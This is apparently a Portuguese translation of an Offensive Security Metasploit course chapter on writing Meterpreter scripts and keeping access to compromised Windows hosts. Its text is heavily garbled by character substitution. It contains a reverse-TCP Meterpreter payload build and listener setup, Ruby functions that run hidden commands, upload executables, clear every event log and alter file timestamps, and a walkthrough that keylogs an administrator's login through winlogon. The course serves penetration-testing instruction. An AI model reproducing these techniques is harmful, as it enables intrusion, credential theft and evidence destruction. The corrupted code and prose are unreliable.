Settin' up :our En(iron)ent


EAistem algumas coisas (ue voc precisa para se manter em mente ao criar um script meterpreter novo. M 0em todas as vers6es do Bindo#s so os mesmos M Algumas vers6es do Bindo#s tm contramedidas de segurana para alguns dos comandos M 0em todas as ferramentas de lin a de comando so em todas as vers6es do Bindo#s. M Algumas das ferramentas op6es de lin a de comando variar dependendo da verso do Bindo#s

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Em suma, as mesmas restri6es (ue voc tem (uando se trabal a com mtodos de eAplorao normal. !%" pode ser de grande a4uda, mas no pode alterar os fundamentos dessa meta. ?endo isso em mente pode poupar muita frustrao pelo camin o. 2ortanto, manter a verso do seu destino Bindo#s e do service pac$ em mente, e construir para ele. 2ara nossos prop/sitos, vamos criar um aut_nomo binrio (ue ser eAecutado no sistema de destino (ue ir criar um escudo !eterpreter reverter de volta para n/s. Esto eAclui (ual(uer problema com um eAploit como n/s trabal amos com o nosso desenvolvimento script.
rootS+t=:aT $ ,0entest,ex0loits,frame%or1A, rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf0ayloa$ %in$o%s,meter0reter,re-erse>t 0 LHOST?14!51)651516= K 2 Meter0reter5exe Dreate$ +y msf0ayloa$ (.tt0:,,%%%5metas0loit5 om)5 "ayloa$: %in$o%s,meter0reter,re-erse>t 0 Len*t.: A1@ O0tions: LHOST?14!51)651516=

!aravil osa. Agora, vamos mover o ar(uivo eAecutvel para a nossa m(uina Bindo#s (ue ser o nosso destino para o script (ue vamos escrever. 0/s apenas temos (ue montar o nosso ouvinte. 2ara fazer isso, vamos criar um pe(ueno script para iniciar o manipulador multi&nos.
rootS+t=:,0entest,ex0loits,frame%or1AT tou . meter0reter5r rootS+t=:,0entest,ex0loits,frame%or1AT e .o use ex0loit,multi,.an$ler 22 meter0reter5r rootS+t=:,0entest,ex0loits,frame%or1AT e .o set "AMLOAE %in$o%s,meter0reter,re-erse>t 0 22 meter0reter5r rootS+t=:,0entest,ex0loits,frame%or1AT e .o set LHOST 14!51)651516= 22 meter0reter5r rootS+t=:,0entest,ex0loits,frame%or1AT e .o set 'xitOnSession false 22 meter0reter5r rootS+t=:,0entest,ex0loits,frame%or1AT e .o ex0loit 3G 3I 22 meter0reter5r rootS+t=:,0entest,ex0loits,frame%or1AT at meter0reter5r use ex0loit,multi,.an$ler set "AMLOAE %in$o%s,meter0reter,re-erse>t 0 set LHOST 14!51)651516= set 'xitOnSession false ex0loit 3G 3I

A(ui estamos usando a eAplorar multi manipulador para receber a nossa carga, (ue especificam (ue a carga uma carga reverse[tcp !eterpreter, vamos definir a opo de carga, nos certificamos de (ue o manipulador multi no vai sair assim (ue receber uma sesso, uma vez (ue talvez se4a necessrio re&estabelecer uma devido a um erro ou poder5amos estar testando em diferentes vers6es do Bindo#s a partir de osts&alvo diferentes. En(uanto trabal ava na scripts, vamos salvar os scripts de teste para D pentestDeAploitsDframe#or$IDscriptsDmeterpreter para (ue eles possam ser eAecutados. Agora, tudo o (ue resta para iniciar msfconsole com o nosso recurso, nosso script.
rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf onsole 3r meter0reter5r ?7 metas0loit -A5A3r 1 7 ore:A5A a0i:15@9 Q 33 33?7 A6= ex0loits 3 !A1 0ayloa$s Q 33 33?7 !@ en o$ers 3 H no0s ?7 1)1 aux

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

resour e2 use ex0loit,multi,.an$ler resour e2 set "AMLOAE %in$o%s,meter0reter,re-erse>t 0 "AMLOAE ?2 %in$o%s,meter0reter,re-erse>t 0 resour e2 set LHOST 14!51)651516= LHOST ?2 14!51)651516= resour e2 set 'xitOnSession false 'xitOnSession ?2 false resour e2 ex0loit 3G 3I 789 Han$ler +in$in* to LHOST @5@5@5@ 789 Starte$ re-erse .an$ler 789 Startin* t.e 0ayloa$ .an$ler5552

*omo pode ser visto acima, !etasploit est aguardando por uma coneAo. Agora podemos eAecutar o nosso eAecutvel no nosso ost Bindo#s e vamos receber uma sesso. 9ma vez (ue a sesso estabelecida, usamos o comando sess6es com o Ks#itc &iK eo n'mero da sesso para interagir com eleL
789 Sen$in* sta*e (H16AA) +ytes) 789 Meter0reter session 1 o0ene$ (14!51)65151(6:==== 32 14!51)65151@=:1@=A) msf ex0loit(.an$ler) 2 sessions 3i 1 789 Startin* intera tion %it. 1555 meter0reter 2

4usto) Scripts
Agora (ue temos uma idia de como usar o irb para testar c amadas A2E, vamos ol ar para os ob4etos (ue so retornados e bsico teste de constru6es. Agora, nen um script primeiro seria completo sem a norma 1Ol !undo1, ento vamos criar um script c amado 1 ello#orld.rb1 e salve& o D pentestDeAploitsDframe#or$IDscriptsDmeterpreter.
rootS+t=:aT e .o f0rint>status(fHello #orl$g)g 2 ,0entest,ex0loits,frame%or1A,s ri0ts,meter0reter,.ello%orl$5r+

?emos agora eAecutar o script a partir do console usando o comando eAecutar.


meter0reter 2 run .ello%orl$ 789 Hello #orl$ meter0reter 2

Agora, vamos construir sobre esta base. 8amos acrescentar algumas outras c amadas de A2E para o script. Adicione estas lin as ao scriptL
0rint>error(ft.is is an error/g) 0rint>line(ft.is is a lineg)

!uito parecido com o conceito de padro, sa5da padro e erro padro, estas lin as diferentes para status, error, e todas as lin as servem a prop/sitos diferentes em dar informa6es ao usurio eAecutar o script. ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Agora, (uando eAecutamos nosso ar(uivo temosL


meter0reter 2 run .ello%orl$ 789 Hello #orl$ 739 t.is is an error/ t.is is a line meter0reter 2

"inal ello#orld.rb
0rint>status("Hello #orl$") 0rint>error("t.is is an error/") 0rint>line("T.is is a line")

!aravil oso: 8amos um pouco mais longe e criar uma funo para imprimir algumas informa6es gerais e adicionar manipulao de erro para (ue em um segundo ar(uivo. Esta nova funo ter a seguinte ar(uiteturaL
$ef *eninfo(session) +e*in c55 res ue ::'x e0tion ?2 e c55 en$ en$

O uso de fun6es permite&nos fazer o nosso c/digo mais modular e reutilizvel. Esta manipulao de erro nos a4udar na soluo de problemas dos nossos scripts, para usar algumas das c amadas de A2E n/s cobrimos anteriormente, poder5amos construir uma funo parecida com estaL
$ef *etinfo(session) +e*in sysnfo ? session5sys5 onfi*5sysinfo run0ri- ? session5sys5 onfi*5*etui$ 0rint>status("Gettin* system information 555") 0rint>status("tT.e tar*et ma .ine OS is TWsysnfo7'OS'9\") 0rint>status("tT.e om0uter name is TW'Dom0uter'\ ") 0rint>status("tS ri0t runnin* as TWrun0ri-\") res ue ::'x e0tion ?2 e 0rint>error("T.e follo%in* error %as en ountere$ TWe\") en$ en$

8amos (uebrar o (ue estamos fazendo a(ui. 0/s definimos uma funo c amada getinfo (ue tem um paramater (ue estamos colocando em uma varivel local c amada 1sesso1. Esta varivel tem um par de mtodos (ue so c amados a se eAtrair do sistema e informa6es ao usurio, ap/s o (ue imprime um par de lin as de status (ue relatam os resultados dos mtodos. Em alguns casos, as informa6es (ue estamos imprimindo sai a partir de um as , por isso temos de ter certeza para c amar a varivel corretamente. ?emos tambm um manipulador de erro colocada l (ue vai voltar o (ue sempre mensagem de erro (ue possam encontrar.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Agora (ue temos essa funo, s/ temos de c am&lo e dar&l e a sesso do cliente !eterpreter. 2ara c am&lo, s/ colocar o seguinte no final do nosso scriptL $etinfoBclientH Agora vamos eAecutar o script, e podemos ver a sa5da deleL
meter0reter 2 run .ello%orl$! 789 Gettin* system information 555 789 T.e tar*et ma .ine OS is #in$o%s K" (Buil$ !)@@B Ser-i e "a 1 A)5 789 T.e om0uter name is Dom0uter 789 S ri0t runnin* as #;<K"JM@1la+user

"inal ello#orld=.rb
ef *etinfo(session) +e*in sysnfo ? session5sys5 onfi*5sysinfo run0ri- ? session5sys5 onfi*5*etui$ 0rint>status("Gettin* system information 555") 0rint>status("tT.e tar*et ma .ine OS is TWsysnfo7'OS'9\") 0rint >status("tT.e om0uter name is TW'Dom0uter'\ ") 0rint>status("tS ri0t runnin* as TWrun0ri-\") res ue ::'x e0tion ?2 e 0rint>error("T.e follo%in* error %as en ountere$ TWe\") en$ en$ *etinfo( lient)

*omo voc pode ver, esses passos muito simples construir para nos dar o bsico para criar scripts avanados !eterpreter. 8amos eApandir esse script para obter mais informa6es sobre o nosso destino. 8amos criar uma outra funo para eAecutar comandos de impresso e de sua sa5daL
$ef list>exe (sessionB m$lst) 0rint>status("Runnin* Domman$ List 555") r?'' session5res0onse>timeout?1!@ m$lst5ea . $o Y m$Y +e*in 0rint>status "trunnin* omman$ TW m$\" r ? session5sys50ro ess5exe ute(f m$5exe , 'D.anneliIe$' ?2 true\) %.ile($ ? r5 .annel5rea$)

TW m$\gB nilB W'Hi$$en' ?2 trueB

0rint>status("tTW$\") en$ r5 .annel5 lose r5 lose res ue ::'x e0tion ?2 e 0rint>error("'rror Runnin* Domman$ TW m$\: TWe5 lass\ TWe\") en$

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

en$ en$

0ovamente, vamos (uebrar o (ue estamos fazendo a(ui. 0/s definimos uma funo (ue recebe dois paramaters, a segunda das (uais ser um arra<. 9m limite tambm estabelecida de modo (ue a funo no cair sobre n/s. Em seguida, criar um Kpara cadaK loop (ue eAecutado no arra< (ue passado para a funo (ue ter cada item na matriz e eAecut&lo no sistema atravs do 1cmd.eAe D c K, a impresso (ue o status retornado da eAecuo do comando. "inalmente, um manipulador de erro estabelecida para capturar todos os problemas (ue surgem durante a eAecuo da funo. Agora vamos definir uma srie de comandos para enumerar o ost de destinoL
omman$s ? 7 fsetgB fi0 onfi* ,allgB far0 dag9

e, em seguida, c am&lo com o comando list>e"ecBclientIco!!andsH *om isso no lugar, (uando eAecut&lo, temosL
meter0reter 2 run .ello%orl$A 789 Runnin* Domman$ List 555 789 runnin* omman$ set 789 ALL&S'RS"ROL;L'?D:UEo uments an$ Settin*sUAll &sers A""EATA?D:UEo uments an$ Settin*sU"@#<AEUA00li ation Eata Dommon"ro*ramLiles?D:U"ro*ram LilesUDommon Liles DOM"&T'R<AM'?TARG'T DomS0e ?D:U#;<<TUsystemA!U m$5exe HOM'ER;J'?D: HOM'"ATH? LOGO<S'RJ'R?TARG'T <&MB'R>OL>"ROD'SSORS?1 OS?#in$o%s><T Os!Li+"at.?D:U#;<<TUsystemA!Uos!$llV "at.?D:U#;<<TUsystemA!VD:U#;<<TVD:U#;<<TUSystemA!U#+em "ATH'KT?5DOMV5'K'V5BATV5DMEV5JBSV5JB'V5RSV5RS'V5#SLV5#SH "ROD'SSOR>ARDH;T'DT&R'?x6) "ROD'SSOR>;E'<T;L;'R?x6) Lamily ) Mo$el H Ste00in* )B Genuine;ntel "ROD'SSOR>L'J'L?) "ROD'SSOR>R'J;S;O<?@H@) "ro*ramLiles?D:U"ro*ram Liles "ROM"T?["[G SystemEri-e?D: SystemRoot?D:U#;<<T T'M"?D:UEOD&M'a1U"@#<AEULODALSa1UTem0 TM"?D:UEOD&M'a1U"@#<AEULODALSa1UTem0 &S'REOMA;<?TARG'T

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

&S'R<AM'?"@#<AE &S'R"ROL;L'?D:UEo uments an$ Settin*sU"@#<AE %in$ir?D:U#;<<T 789 runnin* omman$ i0 onfi* 789 #in$o%s !@@@ ;" Donfi*uration Host <ame 5 5 5 5 5 5 5 "rimary E<S Suffix 5 5 <o$e Ty0e 5 5 5 5 5 5 5 ;" Routin* 'na+le$5 5 5 #;<S "roxy 'na+le$5 5 5 E<S Suffix Sear . List5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 ,all

: : : : : :

tar*et Hy+ri$ <o <o lo al$omain

't.ernet a$a0ter Lo al Area Donne tion: Donne tion3s0e ifi E<S Suffix Ees ri0tion 5 5 5 5 5 5 5 5 5 5 ".ysi al A$$ress5 5 5 5 5 5 5 5 EHD" 'na+le$5 5 5 5 5 5 5 5 5 5 Auto onfi*uration 'na+le$ 5 5 5 ;" A$$ress5 5 5 5 5 5 5 5 5 5 5 Su+net Mas1 5 5 5 5 5 5 5 5 5 5 Eefault Gate%ay 5 5 5 5 5 5 5 5 EHD" Ser-er 5 5 5 5 5 5 5 5 5 5 E<S Ser-ers 5 5 5 5 5 5 5 5 5 5 "rimary #;<S Ser-er 5 5 5 5 5 5 Lease O+taine$5 5 5 5 5 5 5 5 5 Lease 'x0ires 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 : : : : : : : : : : : : : lo al$omain JM%are A elerate$ AME "D<et A$a0ter @@3@D3!436(3613(( Mes Mes 1H!51)51@=51=( !((5!((5!((5@ 1H!51)51@=5! 1H!51)51@=5!(= 1H!51)51@=5! 1H!51)51@=5! Tues$ayB Au*ust !(B !@@4 1@:(A:=6 "M Tues$ayB Au*ust !(B !@@4 11:!A:=6 "M

789 runnin* omman$ ar0 3a 789 ;nterfa e: 1H!51)51@=51=( on ;nterfa e @x1@@@@@A ;nternet A$$ress ".ysi al A$$ress Ty0e 1H!51)51@=5! @@3(@3()3e+3$+3@) $ynami 1H!51)51@=51(@ @@3@ 3!43aH3f13 ( $ynami meter0reter 2

"inal ello#orldI.rb
$ef list>exe (sessionB m$lst) 0rint>status("Runnin* Domman$ List 555") r?'' session5res0onse>timeout?1!@ m$lst5ea . $o Y m$Y +e*in 0rint>status "runnin* omman$ TW m$\" r ? session5sys50ro ess5exe ute(" m$5exe , ?2 trueB 'D.anneliIe$' ?2 true\) %.ile($ ? r5 .annel5rea$) 0rint>status("tTW$\")

TW m$\"B nilB W'Hi$$en'

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

en$ en$

en$ r5 .annel5 lose r5 lose res ue ::'x e0tion ?2 e 0rint>error("'rror Runnin* Domman$ TW m$\: TWe5 lass\ TWe\") en$

omman$s ? 7 "set"B "i0 onfi* ,all"B "ar0 3a"9 list>exe ( lientB omman$s)

*omo voc pode ver, a criao de scripts personalizados !eterpreter no dif5cil se dar um passo de cada vez, construindo a si mesma. Pasta lembrar a fre(Sncia de teste, e remetem para a fonte de como operar vrias c amadas de A2E.

Use0u& API 4a&&s


0/s vamos cobrir algumas c amadas A2E comum para scripts do !eterpreter e escrever um script usando algumas dessas c amadas A2E. 2ara as c amadas novas A2E e eAemplos, ve4a o c/digo 3ispac er *omando e @EC a documentao (ue foi mencionado anteriormente. 2ara isso, mais fcil para n/s para usar o s ell do E@P, (ue pode ser usada para eAecutar c amadas de A2E diretamente e ver o (ue retornado por essas c amadas. 0/s entramos no irb, eAecutando o 1irb1 comando do s ell !eterpreter. !ete p ete = i b EGF /ta tin$ 81B s9ell EGF T9e 4client4 'a iable 9olds t9e !ete p ete == 8amos comear com as c amadas para recol er informa6es sobre o alvo. 8amos tirar o nome da m(uina do ost de destino. A c amada de A2E para isso Kclient.s<s.config.s<sinfoK == client6s7s6confi$6s7sinfo ?= @,+/,?=,Rindo5s W% BB3ild 2600I /e 'ice %ack 3H6,I ,&o!p3te ,?=,R8MW%*M01,L ==

client

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

*omo podemos ver no E@P, uma srie de valores foram devolvidos. %e (uisermos saber o tipo de valores retornados, podemos usar o ob4eto de classe para aprender o (ue retornadoL == client6s7s6confi$6s7sinfo6class ?= 0as9 ==

2odemos ver (ue temos um as , para (ue possamos c amar de elementos deste as com sua c ave. 3igamos (ue (ueremos (ue a verso do %O apenasL == client6s7s6confi$6s7sinfoE4+/4F ?= ,Rindo5s W% BB3ild 2600I /e 'ice %ack 3H6, ==

Agora vamos as credenciais com (ue a carga est sendo eAecutado. 2ara isso, use o 1client.s<s.config.getuid1 c amada de A2EL == client6s7s6confi$6$et3id ?= ,R8MW%*M01Xlab3se , == 2ara obter o E3 do processo sob o (ual a sesso est em eAecuo, n/s usamos o client.s<s.process.getpid Kconvite, (ue pode ser usado para determinar o processo a sesso est em eAecuoL == client6s7s6p ocess6$etpid ?= 684

2odemos usar A2E c amadas em Kclient.s<s.netK para coletar informa6es sobre a configurao da rede e do ambiente no ost de destino. 2ara obter uma lista de interfaces e sua configurao (ue usamos a c amada A2E Kclient.net.config.interfacesKL == ?= == ?= client6net6confi$6inte faces EPI PF client6net6confi$6inte faces6class J a7

*omo podemos ver ele retorna um arra< de ob4etos (ue so do tipo @eALL 2ostLL !eterpreterL EAtens6esLL %tdapiL 0etLL Enterface (ue representa cada uma das interfaces. 2odemos percorrer este arra< de ob4etos e obter o (ue se c ama uma sa5da bonita de cada uma das interfaces como esteL
22 interfa es ? lient5net5 onfi*5interfa es ?2 7TB T9 22 interfa es5ea . $o YiY

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

F2 0uts i50retty 22 en$ MS TD" Loo0+a 1 interfa e Har$%are MAD: @@:@@:@@:@@:@@:@@ ;" A$$ress : 1!H5@5@51 <etmas1 : !((5@5@5@ AME "D<'T Lamily "D; 't.ernet A$a0ter 3 "a 1et S .e$uler Mini0ort Har$%are MAD: @@:@ :!4:$ :aa:e= ;" A$$ress : 14!51)65151@= <etmas1 : !((5!((5!((5@

Use0u& Functions
8amos ol ar algumas outras fun6es (ue podem ser 'teis na construo de um script !eterpreter. %inta&se livre para reutilizar estas forem necessrias.
#-----------------------------------------------------------------------------def list_exec(session,cmdlst) if cmdlst.kind_of? String cmdlst = cmdlst.to_a end print_status("Running ommand !ist ...") r="" session.response_timeout=#$% cmdlst.eac& do 'cmd' (egin print_status "trunning command #)cmd*" r = session.s+s.process.execute(cmd, nil, )",idden" =- true, " &anneli.ed" =- true*) /&ile(d = r.c&annel.read) print_status("t#)d*") end r.c&annel.close r.close rescue 001xception =- e print_error("1rror Running ommand #)cmd*0 #)e.class* #)e*") end end end

"uno para 8erificao de 9A*L


T333333333333333333333333333333333333333333333333333333333333333333333333333333 3 $ef .e 1ua (session)

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

H,

ua ? false +e*in %in-ersion ? session5sys5 onfi*5sysinfo if %in-ersion7'OS'9?a ,#in$o%s Jista, or

%in-ersion7'OS'9?a ,#in$o%s

X'M>R'AE)

0rint>status("D.e 1in* if &AD is enale$ 555") 1ey ? 'HXLMSOLT#AR'Mi rosoft#in$o%sDurrentJersion"oli iesSystem' root>1eyB +ase>1ey ? session5sys5re*istry5s0lit1ey(1ey) -alue ? "'na+leL&A" o0en>1ey ? session5sys5re*istry5o0en>1ey(root>1eyB +ase>1eyB - ? o0en>1ey5query>-alue(-alue) if -5$ata ?? 1 ua ? true else ua ? false en$ o0en>1ey5 lose>1ey(1ey)

en$ res ue ::'x e0tion ?2 e 0rint>status("'rror D.e 1in* &AD: TWe5 lass\ TWe\") en$ return ua en$

"uno para upload de ar(uivos e eAecutveis


T333333333333333333333333333333333333333333333333333333333333333333333333333333 3 $ef u0loa$(sessionBfileBtr*lo ? nil) if not ::Lile5existsF(file) raise "Lile to &0loa$ $oes not exists/" else if tr*lo ?? nil lo ation ? session5fs5file5ex0an$>0at.("CT'M"C") else lo ation ? tr*lo en$ +e*in if file ?a ,S8(5exe),i fileontr*t ? "TWlo ation\s-.ostTWran$(1@@)\5exe" else fileontr*t ? "TWlo ation\TM"TWran$(1@@)\" en$ 0rint>status("&0loa$in*$ TWfile\5555") session5fs5file5u0loa$>file("TWfileontr*t\"B"TWfile\") 0rint>status("TWfile\ u0loa$e$/") 0rint>status("TWfileontr*t\") res ue ::'x e0tion ?2 e 0rint>status("'rror u0loa$in* file TWfile\: TWe5 lass\ TWe\") en$ en$ return fileontr*t

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

en$

"uno para eAecutar uma lista de comandos B!E* armazenados em um arra<, retorna string
T333333333333333333333333333333333333333333333333333333333333333333333333333333 3 $ef %mi exe (sessionB%mi m$s? nil) %in$r ? '' tm0out ? '' %in$rtm0 ? "" session5res0onse>timeout?1!@ +e*in tm0 ? session5fs5file5ex0an$>0at.("CT'M"C") %mi fl ? tm0 Q ""Q s0rintf("C5($"Bran$(1@@@@@)) %mi m$s5ea . $o Y%miY 0rint>status "runnin* omman$ %mi TW%mi\" m$ ? " m$5exe , CSMST'MROOTCsystemA!%+em%mi 5exe" o0t ? ",a00en$:TW%mi fl\ TW%mi\" r ? session5sys50ro ess5exe ute( m$B o0tBW'Hi$$en' ?2 true\) slee0(!) TMa1in* sure t.at %mi finnis.es +efore exe utin* next %mi omman$ 0ro*! .e 1 ? "%mi 5exe" foun$ ? @ %.ile foun$ ?? @ session5sys50ro ess5*et>0ro esses()5ea . $o YxY foun$ ?1 if 0ro*! .e 1 ?? (x7'name'95$o%n ase) slee0(@5() 0rint>line "5" foun$ ? @ en$ en$ en$ r5 lose en$ T Rea$ t.e out0ut file of t.e %mi omman$s %mioutfile ? session5fs5file5ne%(%mi flB "r+") until %mioutfile5eofF tm0out `` %mioutfile5rea$ en$ %mioutfile5 lose res ue ::'x e0tion ?2 e 0rint>status("'rror runnin* #M;D omman$s: TWe5 lass\ TWe\") en$ T #e $elete t.e file %it. t.e %mi omman$ out0ut5 ? session5sys50ro ess5exe ute(" m$5exe , $el TW%mi fl\"B nilB W'Hi$$en' ?2 true\) 5 lose tm0out en$

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

"uno para gravar dados em um ar(uivoL


T33333333333333333333333333333333333333333333333333333 $ef file%rt(file!%rtB $ata!%rt) out0ut ? ::Lile5o0en(file!%rtB "a") $ata!%rt5ea .>line $o Y$Y out0ut50uts($) en$ out0ut5 lose en$

"uno para limpar todos os logs de eventosL


T333333333333333333333333333333333333333333333333333333333333333333333333333333 3 $ef lre-tl*s(session) e-tlo*s ? 7 'se urity'B 'system'B 'a00li ation'B '$ire tory ser-i e'B '$ns ser-er'B 'file re0li ation ser-i e' 9 0rint>status("Dlearin* '-ent Lo*sB t.is %ill lea-e an$ e-ent (1H") +e*in e-tlo*s5ea . $o Ye-lY 0rint>status("tDlearin* t.e TWe-l\ '-ent Lo*") lo* ? session5sys5e-entlo*5o0en(e-l) lo*5 lear en$ 0rint>status("Alll '-ent Lo*s .a-e +een leare$") res ue ::'x e0tion ?2 e 0rint>status("'rror learin* '-ent Lo*: TWe5 lass\ TWe\") en$ en$

"uno para alterar tempo de acesso, !odificado e *riado em ?empo ?empo de ar(uivos fornecidos em uma matrizL
T333333333333333333333333333333333333333333333333333333333333333333333333333333 3 T T.e files .a-e to +e in C#inEirCSystemA! fol$er5 $ef .ma e(sessionB m$s) %in$ir ? '' %in$rtm0 ? "" 0rint>status("D.an*in* A ess TimeB Mo$ifie$ Time an$ Dreate$ Time of Liles &se$")

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

en$

%in$ir ? session5fs5file5ex0an$>0at.("C#inEirC") m$s5ea . $o Y Y +e*in session5 ore5use("0ri-") filetostom0 ? %in$ir Q "systemA!"Q fl! lone ? %in$ir Q "systemA! .1$s15exe" 0rint>status("tD.an*in* file MAD' attri+utes on TWfiletostom0\") session50ri-5fs5set>file>ma e>from>file(filetostom0B fl! lone) res ue ::'x e0tion ?2 e 0rint>status("'rror .an*in* MAD': TWe5 lass\ TWe\") en$ en$

Maintainin' Access
Ap/s o sucesso de comprometer uma m(uina, se as regras de enga4amento permitirem, fre(uentemente uma boa idia para garantir (ue voc ser capaz de manter seu acesso para uma anlise mais aprofundada ou a penetrao da rede de destino. Esso tambm garante (ue voc ser capaz de restabelecer a sua v5tima, se voc estiver usando um 'nico acidente ou eAplorar um servio sobre o alvo. Em situa6es como essas, voc pode no ser capaz de recuperar o acesso novamente at a reinicializao do alvo pr&formado. 3epois de ter tido acesso a um sistema, voc pode finalmente ter acesso aos sistemas (ue compartil am a mesma sub&rede. Oiro de um sistema para outro, obter informao sobre as actividades de monitorizao dos seus usurios a digitao, e representando os usurios com to$ens capturados so apenas algumas das tcnicas (ue descreveremos mais neste m/dulo.

Ke:&o''in'
3epois de ter eAplorado um sistema eAistem duas abordagens diferentes (ue voc pode tomar, (uer esmagar e agarrar ou baiAa e lenta. PaiAo e lento podem levar a uma tonelada de grande informao, se voc tiver a pacincia e disciplina. 9ma ferramenta (ue pode utilizar para a recol a de informao baiAo e lento o script $e<stro$e logger com !eterpreter. Esta ferramenta muito bem desen ado, (ue l e permite capturar todas as entradas do teclado do sistema, sem escrever nada no disco, deiAando uma pegada m5nima para os investigadores forenses para depois acompan ar. 2erfeito para obter sen as, contas de usurio, e todo tipo de outras informa6es valiosas. 8amos dar uma ol ada em ao. 2rimeiro, vamos eAplorar um sistema como normal.
msf ex0loit(%arft0$>1)(>user) 2 ex0loit

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

789 789 789 789 789 789 789 789 789 789 789

Han$ler +in$in* to LHOST @5@5@5@ Starte$ re-erse .an$ler Donne tin* to LT" ser-er 1H!51)51@=51=(:!1555 Donne te$ to tar*et LT" ser-er5 Tryin* tar*et #in$o%s !@@@ S"@3S"= 'n*lis.555 Transmittin* interme$iate sta*er for o-er3siIe$ sta*e555(141 +ytes) Sen$in* sta*e (!)(@ +ytes) Slee0in* +efore .an$lin* sta*e555 &0loa$in* ELL (H(H6H +ytes)555 &0loa$ om0lete$5 Meter0reter session = o0ene$ (1H!51)51@=51A@:==== 32 1H!51)51@=51=(:1!=))

meter0reter 2

Ento, vamos migrar !eterpreter para o processo EAplorer.eAe para (ue n/s no temos (ue se preocupar com o processo de eAplorao ficando reset e fec ar a sesso.
meter0reter 2 0s "ro ess list ???????????? ";E 333 1=@ 166 !1) !!6 A6@ =@6 === =6@ (@@ (!6 (66 ))= H!= H)6 6@@ 666 64) 4=@ 4H! 1@66 <ame 3333 smss5exe %inlo*on5exe ser-i es5exe lsass5exe s- .ost5exe s0ools-5exe s- .ost5exe re*s- 5exe MSTas15exe JM%areSer-i e5exe #inM*mt5exe note0a$5exe m$5exe 'x0lorer5exe %ar3ft0$5exe JM%areTray5exe JM%are&ser5exe firefox5exe T"AutoDonnS- 5exe T"AutoDonne t5exe "at. 3333 USystemRootUSystemA!Usmss5exe FFUD:U#;<<TUsystemA!U%inlo*on5exe D:U#;<<TUsystemA!User-i es5exe D:U#;<<TUsystemA!Ulsass5exe D:U#;<<TUsystemA!Us- .ost5exe D:U#;<<TUsystemA!Us0ools-5exe D:U#;<<TUSystemA!Us- .ost5exe D:U#;<<TUsystemA!Ure*s- 5exe D:U#;<<TUsystemA!UMSTas15exe D:U"ro*ram LilesUJM%areJM%are ToolsUJM%areSer-i e5exe D:U#;<<TUSystemA!U#B'M#inM*mt5exe D:U#;<<TUSystemA!Unote0a$5exe D:U#;<<TUSystemA!U m$5exe D:U#;<<TU'x0lorer5exe D:U"ro*ram LilesU#ar3ft0$U%ar3ft0$5exe D:U"ro*ram LilesUJM%areUJM%are ToolsUJM%areTray5exe D:U"ro*ram LilesUJM%areUJM%are ToolsUJM%are&ser5exe D:U"ro*ram LilesUMoIilla LirefoxUfirefox5exe D:U"ro*ram LilesUJM%areUJM%are ToolsUT"AutoDonnS- 5exe D:U"ro*ram LilesUJM%areUJM%are ToolsUT"AutoDonne t5exe

meter0reter 2 mi*rate H)6 789 Mi*ratin* to H)6555 789 Mi*ration om0lete$ su meter0reter 2 *et0i$ Durrent 0i$: H)6

essfully5

"inalmente, comeamos o $e<logger, esperar algum tempo e despe4ar a sa5da.


meter0reter 2 1eys an>start Startin* t.e 1eystro1e sniffer555 meter0reter 2 1eys an>$um0 Eum0in* a0ture$ 1eystro1es555

0o poderia ser mais fcil: Observe como as teclas pressionadas tais como controle e de retrocesso so representados. *omo um b_nus, se voc (uiser capturar informa6es de login do sistema voc s/ migrar para o processo de Binlogon. Esso ir capturar as credenciais de todos os usurios entrar no sistema, en(uanto este est em eAecuo. ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

meter0reter 2 0s "ro ess list ????????????????? ";E <ame "at. 333 3333 3333 =@1 %inlo*on5exe D:U#;<<TUsystemA!U%inlo*on5exe meter0reter 2 mi*rate =@1 789 Mi*ratin* to =@1555 789 Mi*ration om0lete$ su essfully5

meter0reter 2 1eys an>start Startin* t.e 1eystro1e sniffer555 8888 A fe% minutes later after an a$min lo*s in 8888 meter0reter 2 1eys an>$um0 Eum0in* a0ture$ 1eystro1es555 A$ministrator o.noes1-e+een.=x@re$/

A(ui podemos ver pelo log para o processo #inlogon nos permite efectivamente col eita todos os usurios registrando em (ue o sistema e captur&lo. *onseguimos o Administrador entrando com uma sen a de 1o noesTvebeen -A.red:1.

Meterpreter 9ac5#oor Ser(ice


3epois de passar por todos o trabal o rduo da eAplorao de um sistema, muitas vezes uma boa idia deiAar&se uma maneira mais fcil voltar para o sistema mais tarde. 3essa forma, se o servio (ue eAplorado para baiAo ou remendado, voc ainda pode gan ar acesso ao sistema. Este o lugar onde KAleAander %otirov de metsvc 1vem a cal ar e foi recentemente adicionado ao tronco !etasploit. 2ara ler sobre a aplicao original do metsvc, v para ttpLDD###.p reedom.orgDsoft#areDmetsvcD. 9sando este bac$door, voc pode gan ar um s ell !eterpreter a (ual(uer momento. 9ma palavra de aviso a(ui antes de irmos adiante. !etsvc conforme mostrado a(ui no re(uer autenticao. Esto significa (ue (ual(uer acesso (ue os gan os para o porto poder acessar o seu porta dos fundos: Esta no uma coisa boa se voc est conduzindo um teste de penetrao, como este poderia ser um risco significativo. Em uma situao do mundo real, voc (uer alterar a fonte para eAigir autenticao, ou filtrar as coneA6es remotas 7 porta atravs de algum outro mtodo. Em primeiro lugar, eAplorar o sistema remoto e migrar para o 1processo EAplorer.eAe1 no caso dos an'ncios do usurio do servio de eAplorao no est respondendo e decide mat&lo.

msf ex0loit(A0roxy) 2 ex0loit 789 Starte$ re-erse .an$ler 789 Tryin* tar*et #in$o%s K" S"! 3 'n*lis.555

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

